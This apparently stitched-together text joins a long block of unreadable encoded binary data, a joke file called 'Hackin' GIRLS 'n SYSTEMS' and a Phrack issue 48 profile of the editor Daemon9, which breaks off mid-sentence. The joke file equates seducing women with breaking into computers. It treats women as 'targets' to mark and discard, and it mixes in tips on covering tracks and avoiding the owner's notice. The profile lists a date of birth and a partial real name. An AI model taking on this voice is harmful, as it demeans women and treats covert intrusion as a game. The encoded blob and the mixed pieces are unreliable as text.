5'Li"*)K"mCH4hc!)pEd-rpXXrlm2PUfV46cZ5M'jFe`HAleU94HpmAX2J)q[S[F
1r0i"%*X+(ke#bB%ZNX8ZX30MH(CJ%0-##'5`AD!l0V(Pd%-F,r@"2iUGaAf`iQ$
*QHS$Ia3EMAL+X#+Y@Mh9VaSEhB%qYL!mc-1Il+m@q*2c9DZUhZPcrT0pN[LGrYJ
SmIdEIPeAjV&8AFB(hr1ZPc#rHMA`*[Y#RdQpi4R-Ap'IYMThR[1El'-Hr&j"LrB
86jq,r5[mi1mVr'JV&)ZK3dXUha+p2[QMDh)aK+GhV*lU%ckYN!!`I"@0dT)VXS4
ERIa2NR@YjYP44IKm&LJdmGlZq6phdDY!2$0a6U1bEdR0V0ZfMp$Tc16%`qi%A3D
KTj@0XNHNKAkjkNkai$'E98S,Gm[hLD1MD[6ASjr2l`KVPFrIVYe(ph9dGqAqHhc
IQ6T`TH0DN!$&K3&F*[ZC02Z1BKE%*FfCZ2DC[f8p,JVl@ZipPSJZB&Q9&m!JK8-
VRHAH[BFI#MmrTeE,DbcAlZbTZ291A!Z1iE,GpdUbF3#BU+kU-eEYi4I"jl)(dUG
`a8KYPHBPQ&SAp&#NIG99VBaQPJh1lRD'kES),M6Ndl86jpA8cpKX+*&[$MU[*Nq
cJ2B6l5GcYV+(YCA43TEeJaBJY$K[d&9`D6FkJqR(d`I5rccpjqLpQ[i#CrdIF1(
Up94IV0JjQATKlki5A#'(VVQT[K)FE%V2cdPSHH#V0JB)V552BriP,U(qK$V!2TA
UXlYaADmBPm&i*hf5)mePEHRM9,8kZ!$&d[ralMhT9qE8dJ63MjINY8TmMY!``I%
iVr5ri%VYKpl-q6%GIBZ,K"*GMXeThIU&Q`T6@RlMeQJ4bi*Z4EK!#0hDVMQfke4
h-IZ,2DR[BG+2b4$0k8b$Lq6m,p`d,i9,`cRDXTk#9PBAjGIiF&8j[He@A&*PmJH
AX#aY@I9Zr8lbN!!*,iN1A3",Yf[jh(hmfJ,8'#6I3Bemce1NE@&Y54'8,),fq@P
i,[h[m2l*45hIF0&ad9HJ`lNjdEPFaI*ZpQ+L8G@f-TPddUV[K4,k+rSVZ+l,9D%
HCi%%%0IjFHdHq(!#VXfQ2dV)23@NEL(dG*N1dCALFU39%LZh)3Zk-japJ[QF6C3
4b8&RZ'Bh-B0lchkfa6Q2HKMeL28dric"-+i`2e+Bd2,A9VRSAm28%2F0,L%63[S
X($+8EKIZ4TVPi5+hR2lhP$R12F)A1GQ-h9Z&DkCj`$f1#r*l8,p@8p8UpbeT[*d
`k0S$TZP#kA'U8Yq&%ZG6IAV@[ZlAGLf8@N95B,)N(pKrbC&qdZS(rZb5['M@AQL
(+bJ#"5`j"V+%qlE2i9Hpk1LH(p[,"R[T"Fdbk$*"AbVaBYq26,T)m)-AY4`$"rK
)rDr4)Y!Gi2Z!KTrhT0`h(90)lae9L!N2m9)A6`%1N4Fk6Ymr[8I`([[(0hK1[8I
SlI'('!Pk4jbaK-(Na-fV,&(Ab+*1A+kV48h[L226%FMTeeM*X-B+9BhGp[ZDla6
9H&1IjM4rJA25M`XR`hLM,TMJM`IEP(H-6bG5U'@U"`DBccfdJfZqp5h8dhEcKf8
pb"q@,GCIPQ2cKdhAqF1ZqFmlj$@6TiedUi#G%AMdP2bQ,`M[hZhf#aAhNDr@dGF
[qJ!1m26Q04!QqL6j9(qASJ6qTZmiPrUS[EjKAF+,a%3I@`1EiZ2bprajKQ#T$j2
[h[f*r@GL)%Rp"MbBQ-!MpcFdE[r%r[e2N!#H&rdY(1lliG8+8[[+NidXZ`DR+&G
,1"1rc2eU$(G5a(R-4'UlU5bl+HcE[jqRYhmr(Y66U0krRf8e02"q0YASjlKT2pe
0qe`hlI2FY-ph8hl'2k6k93!H#3%jC@fejJ2eeN4A85$U5M[X*QR`ZSff[AM*)Jc
&1jCdfTCk2ieGCbrKiah@GGH6Z[YXNkYZ@1VeT0kqHR-IbPXMX@Z[,pbpZa[cqf#
DkFB+9I56EKri["mAr8KXeL@m0VHrj(l4Mi@Zli0+qaBYrcc+kEH!$qII+IMI![l
rL[S2h[m(SKqk[RHrii$2ja#DScGMRZ-p-+(A4dqFq+PcVV%4"rf1!chE5,pE1KZ
j#cXXYG&HNPbpTV'KCSRGBG[@G3mqZ0*Hp0ZGMAC(`dVd*hFSelGA)AKb2Xl2k@l
%Zj,kANl"`kk0DDA&Na#hSIifmA-i[X+X!$RE8+f!T0LQ"41JDbTa@`dV'&A$c!r
r"a8c8+VDCXL1++CL"XfbH-`-+UA"'X8U8a1+U8C+`dSiSZK+5&'NH%K466XF$+X
4-f$DDSJTIP8T"4d$ND)'H++%3S'!EB5Pd+a`)""35Je,!8Y9X@+4J")X9Aaf4&+
@5iUN5P)3@ULUSKY"b94#)!+@08UB+B#1k*4LFSaQG1#VbNT&3K93N!"R%UMiiU8
kBNleQj!!ae*Y)US%`dSd%$#93"$L!LmJ"94E#8TK99(#DLJ3$"R*T+%%3bEkJ8"
F!l%DDhN5%iTFTTLQ,flUX!8J!dT))aFTBG-S09GLaZ,V!%d%)9%LU!C-96AMLT)
`3f&&Kc@3!+e)9`81X0&Ar,SD9p95+fbBm!Bdm'&Y0293Z03(H3a3+N@GM%"99B*
&bZ#pN!#ZP*@Uj!89#LU5U8,A)%5)5J(6$#Pf+)c(,Je*9J,18[5JDUV35j%N+45
dbjB(JRB)RLJeH-,$4$"3Z"4@$+0T,P)L5U68Y"8,4Sr"6CB5$2K9%eb83#3-3NU
TCBGJ&b9%8U[+,-Xd`U@K*+`9P",a3#NS+k8Q*X-"-!VCF"X%S&KKLJ4-#l1)'UJ
Q+D8"-kB`+3QbNXq#bp9`h%3@3EP5#B6#bXdDHQVB9')5'Gj80F@dV6*P9K$4B+)
"5D3B!)Ah`NJRf-8dlB!8$"S"#+F#%NNL+6AJ,)'k(T*#(0T5T9$!#UX)28KL+9B
bS*Kq+%F`a-%LIj5#6eJbQ336Ni%P0Bld3B*"*eK#a8B89fa%8!Jr9BA1#"$%Jk3
Q5@0l1EN)ZX#!!!r$ENSiVUL"L"%[JqGK$6H)%8Vq)#NPUc8f021[L#YQ'I3A34c
#GFd`@EPDY@0*NaQ3!*0F1a(%*LLS5SfK*'(D@@@aZ'AC%"#j*S)Bp&@BLVJVUQ@
'c4!*JZ`33Cb%aq'M**)HrJF%P#&aN!!F2)L43F&S++MB&K`"VP*Te)4UX*m)BPJ
32*!!8XKE-f3'N!$EDY+@CLPZ%*2e*"11Kdf$XP*'CN+kFlY4%)-YV+Y)-&%5[*!
!!#5!6`ql33`AKT8D&Ei#ja#NK9HJ&eL))%CQdaT!+3AFm!H3!([Fq+Dk3S%$3NJ
d#j%%Am'#55aZ%8Sq43dL)V(eK0A5F%#'@`+'S[KM5&4!"5LfH')(%9%f6%f#mb%
%H,Jd'E`CKLUe&6880%-@'L3Up)62`!fl%(F[l6Kaa3UTDS)BN6PXb)L)8J2"P8T
5LGd-J$)*X8lNJY`FJ3M(aP*$U`Ul@9d1)@L#PK-6HaQ-EbPf')ST5X3U0A8+9F`
+F`"9$G&HJ4d#HTJ4'pTL3k!pLXb"d$!45dUC'Jk&&-PBC',l-#e6Y3-4'`+TjLb
EGJ2`J)U5A`AK1)5dVE#PK-RqYNPkQH(P)@9@`N61@qDXB%$&,&GBKa8X"$TD#U8
H8S3XKEd![L#&I8JK*43h*GK-X,6ML#6NP-hY$`("!"4J%*2VDJ0"5CEL63UESG*
5*@c8b)Z849Jb6"YlT4@bJRB3lSA#38KLJ!b3!'0)$0U5b$i4+j3)NIe*$MJA)cE
F5C6K+L88,,86Y&!"VBB8T-H%!L&9YU%%9,()JEST*@4b)RQ%Ee%8JE38U9#5far
,@8#*)ecmN9Q8Z)MR)0Ba#-6Y$`[@m*49E&5'BGp-L`Mf-pKBE$X)FT8@+`42NPC
EV'`JLDLh9jTa1%i0"d,KU)MTQR!iC+T*``S##Lj@bLaP%E6!aMFV@4S*Blq46&P
4lD$URK"-Bic1SA!bKA0SIN+&FqMpqaXDk%5,prQ*&[SidD+65*`I2(5eJC-)24&
@%MJcN3dpT0Zf(Nr%$0h3rC'bT&qA)lVI-R`a1fMSL6*0el5B*ZXa24baBVTY*(6
!ahA9X+c5B0Lb)Z#4X!cEXJ,m(#B@#`B6LE!H5qM"B$#Lf6+B"8')aB)keSTiSM4
XK28`FPbApD"Z@4Uc*%2Ab`KF0b`Y(06dB#!US4rf%A00$PUkCF6#ZQlTY2$L-%#
AbT+3!%8,QMEQ$GP1J#K1JI3)@1Yk8!Bji'%VaP'4T!%BleK3MYVaD&+AicVk`9!
#a'cEEm4d14Efa3`MA'CVXKpU5+!B*5DkCQK*`b#$q'RCj3G28P!cJV+PkTBGXE"
`k9&GmaZ*-1%CPK(%GUVjpA"#6PT@dX#A'$6LDi9a,UeUFLb#KSaV)$V-)a[4'&3
e)E!["Zp&j8K86j)A,!JD0R659GB-(2HSKKicV#JXD56e8X-IK,-d@ECe'`JiIY"
MrQ4F$rU6TEB1ij($B3%b8!4He0!dB+qB"TdYJi`1raN`#Sj3$&)Z%!8K2@,i,5L
Lkh%Ui!qrPSMSm4L$l%E)#N&T13)F#`B#[6M)"r''Al"hi56HJ(h!(q!5p&8MFPJ
aiU42R&bHL0K3&jN3#F-6$&mT)K86X)*%@U'&f,&p-4hU3aBd$#52$%$Z23f8C!Y
1`,Q5,M0,KA!@+-K`ZT'd)$(&3DNH)fK$0[@BbJ!!CVBK'rjB%,X+0#8BF,"PF)k
J(d!N+6!a'6L-5!T%'GaNk6)XBGY`-I,GJT%JL`8)*!TTEm21NN(k'mJG-U!186'
N3Ae`5#DMF$@PNQA,#S95f)+5%-l'VU0,YXmb)P&b(JpL,"JD@GNIXT2qH$J!1A@
i9[H#'+P*3CU``R'B0PRQXreq+dbj)S+Br'2#)*B'MH"D3bmP0@AiP!Ga(%cK)d3
Ih!1lJLU*!fH+)%B'qB)a'Dk!DNMS5%3P9r%-S5"'XL%3iDX`j%,1),GYR-YC%6H
)35KX`2(N#%Q1a-K-&M3NZe%3J`UX#er"1(#$35&LK+2-#f)p!)dY+%UHLI[K2Kl
LB#'#'-+4Gf&*i-*L0V)#!#SPC'N3L,UIJ59mKG#)iiC!$-N(6#E,#)#!RY4d"@D
`!K!KL83PlA%+3EV#)FK$k!X[d"c2IEm@-@)XS8H`h@&hm1YaRf&a8@%1(ZJD!Sb
lPr,--Z5BC8-T5)&%J$()k9E3(c0L%3DRBahN'a*%iqB)d#d95L"%(8jES#Hrab+
6d2#4$6,)V!38#qSDZ'Xbl4V%J*Z$!M)1'8"+J['d1!,CaSD!2BUE!c'+@0)M@-4
LXE"QfeJk$-5qE3@4f@4rj#NN!!m'rMLeXT+dV0N-N8(f0fc5bi"4i&Kb0F!Y1BM
GMV`Be#3i@UESKMbd(e++36j,dc5ZX!*B@5qc-BKd)CC)k&)%T3jcN!$#%"#F+'f
`NA"G,5!BC4JJKIek@36ETfeL(8@N3)&%`T!!il,ImXPFB6qbhZ5QLIKTcB'jD9@
+qq*3'2DRI+(%3+4&i&QS6eNImaPfN!$X6fP$#T,)Y0r&L#KB3#YD$reK!dI&X"&
jK1KKA4*,83*V#pNIbjN9M'#l##H`+pJ!#b,ISBXPNrfa-B)JV8B'a0)5GS)[)N%
rI1GZ1`Kb'iX9JXHJ*4$,08K'))`GMpJ3(6Yd0%,"LDd!34$AlDJYqmY!$3FTF35
@E[PJ4EY-LaU'M#8'I#`SB,&i4,-XfX5B*5FK'16JUlSQilamm[D4Hq)JZAGTC2F
ZMFqp3q0hlp!`G[2N9d*`'HH#T%ihefrVl0#+LqP68%c#*jM&mhjT!JP!MTqq9HZ
R6pfaj@,U'LEP8emc1c6hihF6)j-IfEDCC&SlY)TYlCZde,DfG5h&-pDd0AAJ8p2
DJddGQl5D68dY@l5NpS(LD2'-hUVQVI9JJqpMYE@f0EAAYmr95Mri`6,`H*Y0ZmN
PUM@eDbhE1V6@Y[TfI%TVk`jY@fYp5h%CrqUZaMmVVI'EfX@H00U'ECeE0h,3pI8
Db$8hYH!$R4Z,2q4pr9QV&i!VYcAADq$&KpUeG@fBK%ceE9Tc8hYl8dZMKJ[J'lD
eYA@fGK3AH[3fV@X(-8MDhVN"X1d0R4$P)Xhj(Y#$!#)9IS-c9p[B#AQfDHYDA$h
`3C-Ej"ZihHEMTmK12RIMK)IRZfpkEX,a%&eV&eL2Gq2+PG[le9'5$#aaqAh'dPG
i,6hc*lM'K5mK2FSIaVj66Eq*DeY6MmH*erlK`kbALUHSf%Y&)SXGIRX9IArTUN'
PRr81ShL+LVe8*2"aIhJbC)I%%P$#[[jH1RbG6iURKcf-pf-A8i)`(qrqKYX6pD@
8b!'@q-bqrR@k,XCRN!!5r%[mJLP9@$"i63X'eA685A8CJY[6Je!%(Pp3H#h`"JB
%hX#!`+0TU[IMfTQS"CjBB+J@H2[h#cbqeU"ZD""i$3d#MeBH83ZmKJD"4efUbmS
%APQC`#XV%hKPC3+[$)qS[D0Dlbh`D1N5YF"M61!*Qj!!fJ*,+%Sei9&0H&36RR#
&1%S@H-)IlY%bV`@Hm)HBTPViJfU"*rcK(N(c@Z!*Ia!,J5Im3EA!%rkJ@Z!*Ia"
EJ5Im3EA!%rkJ@Z!*IhLH%&ML,I#%2kJ@H-)IT*l`N!$`"p@%4cAK88ei3Q@UK6r
F"CIA!NmS4VA!%`c*$3*26,J,-Um&R[#(ZaDM&[kJ@Z!*IhK(pe3,21%23KGi`Kp
8#ccK$kS&R[#(Pa@H*`5@H!Xmi3qK"Xd)Ie!Y2#6m36AK88ei3M@UK6qS&RM#(e3
,21%2S5l9`KrZ!3'["Cj3Q'U"*a3K&`Jm`B"UJ5Im3CA!%rkJVX!6rU"Di!Pr8#h
`K$qm$2@b`[1%`"*[J5Im3Ha%jJTr8#dm*2a"0H%*&DJ@rU"Di!Pr8#h`K$q%@P3
,Ie!Ym)3rU"Ci`Kp#9DU&2kJ@H-)I9!XmSE43RfUK$08#6c#K@Z!*IiKUFVI`-Y6
,#Xm6!NZm*dpY[-h,fkLm6FREJ+BZS8aY)Yk'i@d1hNEJ*EfAi&ibHiRV*DQAN!"
HmRQ*jL@9Pd"HXRL*i5@"jh$2ZCiM2DGj$[+Fi5RZ+HNTj$(h'$(QIA$-qliE[cU
1jr"K8H0L1Rp`NC`rq&`%Ilc$0Zq#-Ql1ZFr9,KKj(eN6AjmM,[33&hU)#ch%K4l
L3JpaSBHiL%[CiMEl1kG!G(i`8@I['[fhScJaR-j'Ga8G+rVr1h2Ck)8LGZ$YrXa
"kF#"m5jflUfLD50G"`pfMCc'h"P[lUX%&XBAciUNNB1$r6,QKiYBehJrkrSjMCc
Zj`JPE24Fd9Mr@*(rh,Q4VJ2Rqk@$)fH,f%(J($b&`I0&dmk0M(4e(F`)[%+"GjB
SA##`NBYJEaIj4Jlf#k"E"0!`!Bd4d+M,RS#'Lq34&mF9i*F61'!Xj#3JM2Ah2eq
8kFIRaITp4886!TbC`$[Z`AbV++qrU+LIr`#N#k#h""!l5$Kra#%1ASBBFL&'6Na
!G(N3e`Q)[bjL)d!i3!KI)0Q@LVP"U$r@2`)#d$FEZ[Ah3lN46,j40"eqS[k",MK
UB[B-T#FhN5'K$F-rD[#B%-14-G53!,[V!SNbdLmG',Q!k6I42A"@f-1E1qGf$Sj
!IXBf#akr`*YeC4!&9)m44UBrjf$AZA-N!'L4qpL"dD)mXLT%)0r$`D$a,KM2MNa
r&JD+-%'b`-m-(kpfUE)$!$j30)V"FB%&'Z0)!6"cQ5*"r-48#%F"m#i51CkdJ0*
mNSfm65cA6E#Nh$J)5FQN"mC&(f!b3)NPd%E3i0L))jib9e"FBU-H933BrRI,"--
4`9!S4"44RqFK4362L9a$lK+*Jq")H-6a)SbB23IHU!p`IY@6r-EkA881MT0"b3d
(!6U)0lF#1*d6e#HQ+3P)3P$#+#HdH),3Z5P#)S(2F$B5jIbNL1cJ,eePhUBT#Jh
'lK)d6Y-%`DpfkblLrNZHqPNLp5Faq1cEVL6B%%JYa-+N+"0)3QY8N!"ef,2Re,4
B-D!Gk(!&1BdU3B1G3a+k9L!`Z%!X'QIG2"NXNXj"M)Nj1!FT4%jh0aAb+rJXZXM
(XbYF`d11VcQ8dK5&Er&%2RpamMbirC9JBIq'"3m8MS82*#,VH6T2$PdSHJYl'$Z
3!"%159dN3B+I%b6B1Bii+K$(qNq*P2)IS2`P%hV$&!TrHA&AB#-JFS"-6E$X(-p
T6KaINHcr+e+$KmU9kBc(`e-92%K6JF2hL3XJ4541Hd&*qPkFT43H[b`',8I#J36
PVSBBi8RPdL#c8@l`@Gp)84&jpKb-FiN(6kVc[%[E+Ud`2"(2rE@Ei$$8j,#[#jX
D#FKj,2Gi$2%9L[YiV0m2V[d(N!#K2!`p-X+'&15A%(`(LiVi,X!ChHNbkJ)MGhe
`i4!1)ZFmh35G#rhqeC26`LYXj'G6kR5p*4BmE"&MrG1!GV!IS6bj''$"kJFb)4'
IDC!!H!)"K#!1K%95-(DIaqM-P-N)X!ZpLEJL"*F8bF&$JYBC#23ZPJZ!EC1a64k
pAhVd4$Y6*'1E`cE2Y4AmhZBl%!M#P,RZYYMIA`5%,,$$k%8m[Q1"*-*I41`f3C4
([,FC#J-4@CpB$-@L3-R%TrNq4RCi@eKfM"1GJZ,4#VIb$6FMGP#aD,5`89,m2#Q
&fD,*"IKXdAQ3!*V1pf+Z)CqL2H35@)B@R)2R4+45`pZ3!$NHcqdc3LF4EaI2B'L
$)T)B`$Tr32MK02K-*MM(m[Cl$X,Ai3qrHr"$b`[dKr`mZA$1J+AS`*[B3l,SY!&
X4iZ#hVP$dH4Ta*QTS`NFT2cMN911k$M-[i[4ajYlf"kmIjGZXdL$q(f(h50GB2[
`N3Ta38Bq*LFHCcQB@iZjalejVkE,13X[1+`[LfRiCQGI0Y2'm2pEh0VReYQS`f1
VT$@mIeKkjLT)r5`@%Dkm4C3PSR5YbXY*ahm96Rlc2FFI`Gb3!$I[eH6iM`'rfbf
cfFI'(#RMeQ0Z2B,k)5M4JrUM8+Ek+NMp,,B6!BabZbKE49NR5Qj912jU#$FT2l+
6ep*ArrArZ8N*F#UbU,L"LXhi#`Zi!(Mi+N)P[U%bM#+,LKZSf)clUV32I&[k0RI
LGHb0pp,K$EcGr`Kf-4eQBqlalTXQHYjcPrX',IlMkI"4ppE'l"AdZF3F0`fQrXA
B"!GHcaM(VBT"E#XC*XR*A(3,d"dDii-,d4V"S1mDkRi-h6(UrM4[R2h#B4RUrGl
&h['m$$LIaYpjNH32jSMH'*XFmTAQLKl)2*'2PZqdikF3qicEC0fSRjUD(+*Q0LD
K$qZGDYC-0CpfQhjmG9$k%M@[`H4*e(rX0[dR%D+lU&Q!b5(8clY02cj9+6p,cB@
BK0cX"FMd9iiI(IRe22UHpXmG(m6i,MNBImZ#ra-*(rl*f[[aRU[phAAb!GH9lm2
R)b[BYr[`CbliX`Vr4-h2[V2lMl3C'Ye0EmFYmff0q+XmG1PmF9Ypr4TF#5qHJ@&
kUVI@dkhZ4I2Z`RmUdA"cI&h(lHkS4J3Q(V0UfHeFM1Ce,61@NKiYp4fhEh-R%ZZ
fE5hHX+hCTHAGMemrG@fH4Yr6djAcmRpq#qdiA[J54Qk8-qakqQmQk2f3!2ka#HT
AkGqAS2jjXXTHK#hPl-UPpq!2BNKc0QlS`*m9Nf,fXUSP1-HiBfQb#KmCNPD,2ii
KV4Gr*%0UX5TYi%YG64[Dm6FbT)qMMU2HKaSlM(4!r,d-kA$6KUddpdh802HLZ@a
&$AJGYCI@,-1rkRK$r)-91AG$d`Em'brjfYE@G4fSLqpD9,N+p@,k,cc-*ppA[64
C`kE*Mce3hpB1["r6(P9)AJdp1*Gk50$Ed-1Re[RFI26L6(BFN!!Z4`mI'+AHc!E
d%[5CdKZC-KFprUp*#PRS2[6QLkaACI45E"I["9M`)h1a1&,2aTcUc[d1HM9ZE`G
kG5l'1(VhLK#CPB2H@M%hD`Ck'phH224DhGlpk(@i[EI4fb4keikLpkcSA8HF6SV
H$4*khd$!AD1aQkDKGachZ@HKGaek!jJV31p@&YTqA'KcMi(Hkm#i'A00k"f6S6G
kHi$A3j`dT[prk$e2H"UEX`#pl`ZZYbRSI9l`L2d"H[MI8h52I-(ldH[$B3QmXf!
aHLp*daQbB%%MHMZPA(BhHPhSECAb'2kZdi,2S,GAF&V`CqJG`EqpJiI,Mk,hCA$
k#'0hR#E(q%i4aSSiG$VLHj0k0A1!mC3%lc+fHMCkTi4qDhm,[66j@'0hMk!AQ&R
eB!Zqcq"pY'%Drr6$p15kPMrVd&CdYPcTjkrXf+M4AbE6jQRU04HEp)',GcjS-F2
lP!A[jZ'[MA8dEG"UkVGhC&FhEHMSE+[hk[m(4#S!!!:
------------------------------------------------------------------------------
Hackin' GIRLS 'n SYSTEMS - ....
by SevenUp - sec@sec.de - http://www.sec.de/sec/
Hitting on girls and hitting on systems (I'll call them both "targets")
has quite some similarities. If you are good in hacking one of them,
it won't be too hard to enter the other one....
It also represents IRC channel #hack's current state of mind:
Women's talk is taking over.
THE GOALS
=========
- Biggest Challenge:
To get inside the first time
- Targets that have already been successfully hit by others lose a lot of
their attraction
- The goal is to keep as many successfully (formerly virgin) targets as
possible
- Different game: Hit one target from every region
- Mark every target you hit
- You don't really care much after you got your target, unless (in rare
cases) you love it
TIPS FOR BECOMING SUCCESSFUL
============================
- Key to Success:
The right "defaults", depending on situation and targets
- Be Cool:
Don't care too much about the target. Don't get involved
emotionally, but play a little with the target.
- Knowing different languages and keywords may be useful with targets
of different origins
- Social Engineering and spending time (sometimes money) might lead to your
goal easier
- The more targets you'll hit on, the more you'll succeed. Just ignore any
failings. Remember: Better to have tried (and maybe lost) than not even
have tried.
- Best time to find targets is at night
- Backdoors are always inviting (sometimes dangerous)
- Don't start with the top target. Start slow and easy and look for more
difficult ones after some success
- If you get rejected on the first time, don't give up. There is always
a second chance
- When you just got little time to hit on the target, don't hesitate -
a quick first try is never wrong and leaves you more time to think about
your second step.
- Scanning (and probing) is neccessary. Don't give up, even your rate of
success lays somewhere between 1% and 50%
SELECT THE RIGHT ONE
====================
- Be selective about your targets!
- Try targets with tight openings
- Targets with many users have more experience
- Targets with shadows / shades are harder to enter
- From the inside it's easier to reach the root-climax than from the outside
- Many targets look uninviting from the outside, but welcome you deeply
inside
- Some targets are leaking even before touching them
- If a target blows, it sucks
TECHNIQUES FOR MORE FUN
=======================
- After entering it, let the target become active too! Let it do some work
and see what comes up.
- To protect your target, close all openings and save the key
- Even some targets that suck can be nice
- Sniffing Targets:
For lamers and perverts
- Fingering Targets:
Can be interesting...
- Leeching targets dry makes fun, takes time and let's them become
kinda useless
- The right wrapper controls the intrusion and its consequences
WARNINGS
========
- Remember: The number of tries is limited. After unsuccessful hits, the
target and its environment will become aware - start searching in a new
area
- NEVER just pay to get into a target
- Don't fall for booby traps!
- When calling up targets, make sure their owner doesn't notice
- Don't use crack on the target... it fucks up the brain
- Don't fuck (up) the targets without protection
- Be aware: Some targets with change-root-environments can fake the
root-orgasm, or make you feel coming inside when you are not inside
- Penetrating a target too hard could use up or damage your tools
- Try to identify faked and "cross dressed" targets before totally unwrapping
them and finding a bad surprise
- When entering a virgin target the first time, you have to wipe the tracks -
this can often be messy
- Remember to get out of the target when you fall asleep
- Never lose your mind over the beauty of a target. Always check for guards.
- If you don't watch out, you may get a lifelong sentence after a 9 month trial.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 5 of 18
-:[ Phrack Prophile ]:-
This issue, we have a "very special episode" of the Phrack Prophile. As
everyone knows, Phrack is once again in flux, and an entirely new editorial
staff is coming on board. In an effort to introduce everyone to these three
hackers, we've had them do profiles. Ladies and Gentlemen (yeah, like any
ladies OR gentlemen read Phrack), meet your new editors: Daemon9, ReDragon
and Voyager.
-----------------------------------------------------------------------------
Prophile on Daemon9
Personal
~~~~~~~~
Nomenclature: daemon9/route/infinity
In real life: Mike D. (as in David, not Diamond) S.
DOB: 10.05.73
Likes: Women who aren't afraid to cry.
Dislikes: Hippies. GOD, I hate hippies...
Ink: Large back piece, and growing... (It's the outline of
a die. (No, not as in a pair of dice, but as in a
computer chip...)
Other: Glock 19 with trigger-guard mounted laser-site.
Passions: Computers. Computer Security (or lack there of).
Health. Mental and Physical aptitude.
Main URLs: http://www.infonexus.com/~daemon9
ftp://ftp.infonexus.com/pub
mailto://route@infonexus.com
mailto://daemon9@netcom.com
Hardware
~~~~~~~~
Years with Computers: 14ish
Computers Owned: Towers: P90/32MB/3GIG (Windows NT/Solaris/DOS-WFW)
Mids: P120/32/2GIG (Linux), 486-66/16/700MB (FreeBSD),
486-50/16/540 (Linux)
Laptops: P133/16/800, (Windows NT/Linux)
486-75/16/500 (DOS/WFW)
Networks Owned: The Information Nexus (infonexus.com)
Media
~~~~~
Music: Front242, FLA, The Goats, NIN, Diatribe, 16Volt,
Morphine, etc...
Movies: Usual Suspects, Miller's Crossing, Sneakers, Fletch
Army of Darkness, True Romance, NBK, etc...
Books: TCP/IP Illustrated vols. I-III, UNP, Applied
Cryptogrpahy 2nd edition, Computers and Intractablity:
A Guide to the Theory of NP-Completeness, and so on...
A Bit of History
~~~~~~~~~~~~~~~~
Ah, the days of my youth... Carefree, happy-go-lucky, life was a big
open door to me. One spring a very good friend of mine told me I should get
an ``Internet'' account to write him mail while he was away at school.
"Huh...?"
...Was my concise reply. I was deep into the computer thing at that time,
but I had not gotten into the Internet yet. Well, we went out and bought
a (at the time) $200 2400 BPS modem and got me hooked up with this brand new
service provider, NetCom Online... At first I merely used the thing for
email, but soon after I taught myself all about Unix, I discovered all the
wonders of Usenet and IRC (AKA the Big Waste). Most people know me from my
frequent alt.2600 presense. That's where I met Voyager. We quickly found
that we had the same interests as far as computers and hacking went. The
rest is history... Sorta.
The Theory Behind It All
~~~~~~~~~~~~~~~~~~~~~~~~
When I look back and try to figure out how the hell I got here, I have
one person to thank. My father. He bought me my first Commodore 64. I can
remember hooking that archaic thing up to my TV, writing my own adventure
games in basic, and saving them to a tape drive. My computer time line goes
something like this:
c64 Apple IIc IBM XT IBM 286 486/33 486/66 P90 486/66 486/50 P120 P133...
1982 1984 1986 1987 1991 1992 1994 1995 1996 1996 1996
I am not happy unless I am bathed in a contstant stream of extraneous
RF radiation. My room is alive with a myriad of blinking and flashing lights,
several humming fans, and hundreds of feet of fire-hazard-inducing cables.
I have to put tin-foil on all of my windows just to keep the sun out and the
temperature down. You'd be amazed how well that works.
The pursuit of knowledge is what led me down the path I am following.
I am simply not satisfied with knowing that something works. I need to
know why and how, and how to break it and then how fix it... I do not solve a
problem by merely finding a work-around. I slam head on into the fucking
thing and work with it until a solution presents itself.
Intelligence, to me, is not what you know, or how much you know. It is
the ability to reason logically and rationally when the need arises and, if
pragmaticism is not the best approach, let intuition and chaos guide you.
Intelligence is adaptive and ever-changing... Memory capacity is too often
mistaken for smarts...
People I Know
~~~~~~~~~~~~~
Linenoiz: The reason I fell into the whole Internet scene to begin with.
Best friends for 12 years, I would not be where I am now
without him. He is one of the most intelligent people I know.
Nihil: The reason I fell into the whole hacking scene to begin with.
We have had our differences over the years, but our computing
interests are too similar to let petty squabbles come in the
way of our friendship. The other one of the most intelligent
people I know.
Mythrandir: I met Myth about 2 years on alt.2600. Sharp kid. Very sharp.
We think so alike on some things it's freaky. We'll get going
on that Tiger Team soon enuff, Jeff...!
Alhambra: Strong coder. We did the DemonKit for Linux (and are still
working on it..;)). Jeremy and I also have very similar
interests as far as hacking goes. I am glad he is here
with me in the Guild. I need more people like him. Not a
risky gambler, but hey, I took care of that for both of us...
Halflife: Coder supreme.
Shouts Out To
~~~~~~~~~~~~~
Brent, Carrie, ColdFire, Crow, Halflife, Heather, Jason, Jen, Kev,
Ka_mee, MikeP, Mudge, Shawn, SirSyko, Tim, Tom, Topher, Xanax, Vision
What I Have Done
~~~~~~~~~~~~~~~~
alt.2600
--------
It used to be that you could find me in that group like clockwork. I
was always there. Reading, posting, flaming, lurking. That was me. For
years. This is where most people probably first remember me from. I took
it upon myself to self-moderate and answer all the questions I could possibly
handle... I usually posted several times daily. At last count, I posted over
2100 times (according to ~/.tin/posted). I was prolific. I have fond memories
of back then... But, times have changed. That group has gone almost completely
to hell (AKA the way of #hack). Thesedays, it's a fucking miracle if I find a
worthwhile thread to follow-up to... These days, look for me on comp.security.*,
comp.protocols.tcpip, sci.crypt, alt.security.pgp and so on...
zines...
--------
Oh yeah, I wrote some code and a few rag-tag articles for some Zines
out there. Can't remember the names...
the Guild
---------
The Guild is my group of roudy Internauts. I started the group about
20 months ago for several reasons, some of which are just *now* becoming
clear to me. For a while there, we were putting out a zine, The Infinity
Concept, but that is on hiatus while I do Phrack. Various members have done
coding and exploits. Look for more to come from the Guild...
ftp.netcom.com/pub/da/daemon9
-----------------------------
Somewhere along the line about 2 years ago, I started to take
advantage of netcom's free 5 megs of ftp space. I put together a modest
collection of tools and whatnot (under 6 megs of stuff). For some yet
undiscovered reason, people flocked to the site. I have no clue why. It
wasn't *that* great. What I find even more fascinating is the fact that
to this day people *still* go looking there for hacking paraphenelia.
The site has been vacated for almost a year now. If you are reading this
and still have a link to my O-L-D netcom ftp site, UPDATE it to point to
ftp.infonexus.com. I am *much* more proud of this site... Hundreds of megs
of top-notch stuff here. Anyway, the netcom site went down because Brian
Smith (at the time the only member of the netcom security staff) told me I
couldn't have certian tools there for distro. When I ignored him, he froze
my account. This was the final catalyst in me deciding to start the
Information Nexus...
the Information Nexus
---------------------
Ah yes... The InfoNexus... My frustration with Netcom led me to do
what I had been wanting to do for some time, start my own site. This site
would be a Haven for hackers, a place where they could come and be sure to
